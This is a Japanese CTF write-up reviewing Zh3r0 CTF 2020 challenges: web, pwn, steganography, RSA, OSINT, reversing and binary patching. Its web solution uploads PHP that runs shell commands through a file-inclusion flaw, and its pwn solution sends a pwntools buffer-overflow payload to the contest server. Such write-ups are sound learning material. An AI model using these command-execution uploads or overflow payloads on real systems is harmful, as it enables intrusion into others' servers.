Zh3r0 CTF (in 2020) 復習編
見たけど解けなかった問題を中心に復習。
正直Steg系に時間取られてWeb、Pwnが疎か。どうせ解けないからなんですけど、手付けないと復習もしない件。
ところで主催者高校生ってマ?私その2倍生きてんだけど…
Google Source code (Web)
問題文の「宿題をupload」とページ内ソースの<!-- get the 'page' :eyes: -->
がヒントのguess問題だったらしい。
http://web.zh3r0.ml:7777/?page=flag
を見てみるとgifが流れたりする。
/?page=upload
にアクセスすると、アップロードページへ飛べる。
ここにLocal File Inclusion(LFI)脆弱性があるらしい。
試しにアップロードしたtmp.php
と、/?page=tmp
にアクセスした結果。
<?php system('ls') ?>
987l,oi67mn5rbheysxtys4 ;sdojhghisoojjtml;'Zd ;ylfdtkjhgrxymrndgb aw,64mtzsdbrfgxmnjhbf d,rtnfhbgdtyjkxdhg dymnjxtgsdhxfhdhfg e.,58mjnu6jtrhujdf.,lkndhbgd5veytdr eslrkmtdnhgserkjhg fdhgsjhahaehhfdagrash gsuidhlibudbwlonmgitssgdfbh gxdsfrhgvghjghryftyjhr hnrdtskhginbdhmkrmoyhbemgtr index.php mzsanbvcmzrsetbv ogiuthervsoilmnyjk,btuimjntebu progress.php rdfxcvghbjnkml,;.kfjdtuhrsgt robots.txt se.,5m7nrybhdflkjhsbgrttds se4juhdgfrekjhg sfjutsyjkneatghdjhgrsh soyertidhbvghbrhjnjkheg sshsfgsbdf st';ojpnbvm,ijnvkwoegf[mlyhj t798,kirnmmy5h tmp.txt ymskmjhgzkmjzbxs yugdbshvdsdgjuhsdzgerztrd
ちらほらindex.phpやrobots.txtの文字が見えるので、コマンドは動いているっぽい。
というわけで下記を投げたらフラグが見えた。
<?php system('grep -r zh3r0 .') ?>
./sshsfgsbdf/home.php: ZHERO ./sshsfgsbdf/tmp3.php: system('grep -r zh3r0 .') ./sshsfgsbdf/tmp2.php: system('grep zh3r0 .') ./fdhgsjhahaehhfdagrash/sshsfgsbdf.php: $flag="zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}";
flag: zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}
Flee Flag (Binary Exploitation)
この時初めてpayload組んだけど、手元では動くのにサーバでは動かなくて悩んだ。
原因はこれ?よくわかってないです…(普通のmovに見えるけど…)
なのでリターンアドレスを1つずらす。
from pwn import * p = remote('pwn.zh3r0.ml', 3456) s = p.recv(2048) print(s) payload = b'A'*40 + p64(0x400708) print(b'payload: ' + payload) p.sendafter(': \n', payload) s = p.recv(2048) print(s)
flag: zh3r0{welcome_to_zh3r0_ctf}
Katycat (Forensics)
png。
RGBの各プレーン0にデータが入っているので上記サイトでExtractすると、https://pastebin.com/hvgCXNcP
のURLが出てくる。
UEsDBAoACQAAALq0vFDu3sG8JQAAABkAAAAIABwAZmxhZy50eHRVVAkAA+jvz179789edXgLAAEE6AMAAAToAwAAt9tbOQhvceVTC9i83YoBgbIW5fmqoaO3mVwXSLOMqNulwvcwb1BLBwju3sG8JQAAABkAAABQSwECHgMKAAkAAAC6tLxQ7t7BvCUAAAAZAAAACAAYAAAAAAABAAAApIEAAAAAZmxhZy50eHRVVAUAA+jvz151eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAAdwAAAAAA
base64デコードするとzipファイルになる。中にはflag.txtが入っている。
テキストファイルの内容は"K9bC_L`D?f0DEb8c?_06cDJN"となっており、開催期間中はここで止まった。
文字コードに47を足す、もしくは引くことでフラグに変換できたらしい。
t = 'K9bC_L`D?f0DEb8c?_06cDJN' a = '' for ti in t: if ord(ti) + 47 > 127: a += chr(ord(ti) - 47) else: a += chr(ord(ti) + 47) print(a)
flag: zh3r0{1sn7_st3g4n0_e4sy}
is it a troll??? (Forensics)
$ exiftool Trollface.jpg ExifTool Version Number : 10.13 File Name : Trollface.jpg Directory : . File Size : 2.5 MB File Modification Date/Time : 2020:06:16 15:26:36+09:00 File Access Date/Time : 2020:06:16 15:27:41+09:00 File Inode Change Date/Time : 2020:06:16 15:26:52+09:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Author : wJNVU1tljMDBTVKm5HekQ8xx Image Width : 3840 Image Height : 2160 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 3840x2160 Megapixels : 8.3
Authorが怪しいのはわかったがデコード方法がわからなかった。base62とのことで、pass : itrolledyou
となる。
steghideでextractできるようになる。
$ steghide extract -sf Trollface.jpg Enter passphrase: wrote extracted data to "troll.zip".
zipファイルを解凍すると、troll.pngが出てくる。
$ zsteg -a troll.png b1,rgb,lsb,xy .. text: "30:aDutCu4gwUtnqdVuhLUL6jFueSgRFi"
zsteg -a
で怪しい文字列が出てくる。これをbase58デコードするとフラグ。
flag: zh3ro{y0u_got_th3_k3y}
Tic Tac Toe (Master)
jpegファイルのバイナリが反転している。FileInsightのReverse Orderでひっくり返した。
パンツだ。ゴムの部分にSTEGOと書いてあり、ここからステガノらしい。
$ exiftool image_rev.jpg ExifTool Version Number : 10.13 File Name : image_rev.jpg Directory : . File Size : 13 kB File Modification Date/Time : 2020:06:17 14:17:16+09:00 File Access Date/Time : 2020:06:23 15:18:12+09:00 File Inode Change Date/Time : 2020:06:17 14:18:04+09:00 File Permissions : rwx------ File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : None X Resolution : 1 Y Resolution : 1 Comment : aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj01bHNvRkc3bXVQNAo= Image Width : 522 Image Height : 567 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 522x567 Megapixels : 0.296
コメントにエンコードされた文字列があり、base64デコードするとhttps://www.youtube.com/watch?v=5lsoFG7muP4
となる。
開催中はここで止まっていたが、曲名が"Rock My Way"、つまりブルートフォースしろということらしい。
"steghide info"で何かデータが入っている可能性が示唆されるので、steghideのブルートフォースツール"stegcracker"を使う。
$ stegcracker image_rev.jpg rockyou.txt StegCracker 2.0.8 - (https://github.com/Paradoxis/StegCracker) Copyright (c) 2020 - Luke Paris (Paradoxis) Counting lines in wordlist.. Attacking file 'image_rev.jpg' with wordlist 'rockyou.txt'.. Successfully cracked file with password: spongebob Tried 987 passwords Your file has been written to: ../image_rev.jpg.out spongebob $ steghide extract -sf image_rev.jpg Enter passphrase: wrote extracted data to "ciphertext".
In [35]: n,e,ct,p+q Out[35]: (156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489, 65537, 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180, 25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566)
ここからはcryptoパートかな。
p+qはどう処理したら良いのかわからない…。
import sympy sympy.var('x') sol = sympy.solve(x**2-25089219254058723086004960979954103479984362695038160907003438818016936688465630366701002710571334149929206994096775851785636272938202242921638312612784566*x+156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489, x) sympy.init_printing() display(sol) [11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623, 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943]
from Crypto.Util.number import inverse, long_to_bytes n = 156935655500198733255923805969370297538115753312746380213875723177744608509780722798549730106834861986575848272630355804840179947615966722051370804273521733290376009020885919941338141950993008276537987193794648055241515380150115338397065198086893695560540379329063476893211153270247222670504019722793971516489 e = 65537 ct = 102778142076243116117419062640171713879684005471846556860689446479305435562766590357152362175278713093609670819423506015563433111872029023117856369287465874159889936283732420732086482645886112577942492103417960605158427793203017078930148395937563028135853490687072326149444788825363901282252753328289332801180 p = 11887665798107128601153816824095142543225911942193298523282500846670303323491284540506299270218428021818035666504496505392321987600602903964190473755266623 q = 13201553455951594484851144155858960936758450752844862383720937971346633364974345826194703440352906128111171327592279346393314285337599338957447838857517943 print(long_to_bytes(pow(ct, inverse(e, (p-1)*(q-1)), n)))
flag: zh3r0{W0ah_Y0u_W0n_k33p_1t_uP}
NASA (OSINT)
まずはsherlockで各サイトにアカウントが無いか調べる。
$ python sherlock al3xandr0vich1van (snip) [+] livelib: https://www.livelib.ru/reader/al3xandr0vich1van (snip)
ロシア語のページが見つかり、画像ファイルをダウンロードできる。
開催期間中はこれの解読ができなくて詰んだ。"Pigpen cipher"というらしい。
httpstwittercomhavevisit
になる。URLっぽく整形(https://twitter.com/HaveVisit
)してアクセスすると、画像の投稿がある。
うっすらとフラグが見える。
flag: zh3r0{y0u_b34t_d4_hax0r}
snakes everywhere (Reversing)
FOR_ITERとJUMP_ABSOLUTEで囲まれたforループが3つある。
encryptコード(合っているかはわからない)を書いてみてから、その逆を実装してみた。
with open('snake.txt') as f: ct = f.read() key = 'I_l0v3_r3v3r51ng' flag = 'zh3r0{' + 'a'*38 + '}' def xor(s1, s2): return chr(ord(s1) ^ ord(s2)) # Encrypt code # # ciphertext = '' # for i in range(len(flag) // 3): # ciphertext += chr(ord(key[i]) * ord(flag[i]) - i) # for i in range(len(flag) // 3, len(flag) // 3 * 2): # ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)]) + i) # for i in range(len(key) // 2, len(flag)): # ciphertext += xor(key[i%16], flag[i]) dec_flag = '' for i in range(len(flag) // 3): dec_flag += chr((ord(ct[i]) + i) // ord(key[i])) print(dec_flag) for i in range(len(flag) // 3, len(flag) // 3 * 2): dec_flag += chr((ord(ct[i]) - i) // ord(key[i%len(key)])) print(dec_flag) for i in range(len(key) // 2, len(ct)): dec_flag += xor(key[i%16], ct[i]) print(dec_flag)
zh3r0{Python_disass3mblyᜧ⾑ᘠゃᎂጀⵂ⸳ᯰ⫡ヺও㈤Ꭸ⡵㖋thon_disass3mbly_is v3ry_E4sy}
とちょっと被って出力されるのを直してやるのと、isの後は"_"にしないと駄目だった。
flag: zh3r0{Python_disass3mbly_is_v3ry_E4sy}
pythonのdis問題は最近revで頻出?なので、ちゃんとできるようになりたい。
Compush
$ ./Compush Welcome to the game of concat and push , coded in Rust I am a small check , bypass me to get the flag
起動すると、まず最初のチェックを迂回しろみたいなことを言ってくる。
当該コードは絶対に右に行くようになっているので、jnz(=0x75)をjz(=0x74)にパッチする。
すると、その先に"compare"と"compare2"という関数があり、
"jmp_calljmp_pop/void/null/null/void"から指定の部分、指定の長さで2つの文字列を切り取ってきて長さを比較し、結果によってjmpしていくコードになっている。
指定の長さで切り取っているので、その後長さを比較しても、必ず同じ結果になる。
ので、フラグ出現箇所と思われる場所まで、先程と同じようにjmp系命令の条件をひっくり返していった。
$ ./Compush_ Welcome to the game of concat and push , coded in Rust Congrats you have found the first part ar3y0uth3 Congrats you have found the second part , don't forget to merge the parts l4st1337
解いてみて思ったけどstrings guessで十分でした。
flag: zh3r0{ar3y0uth3l4st1337}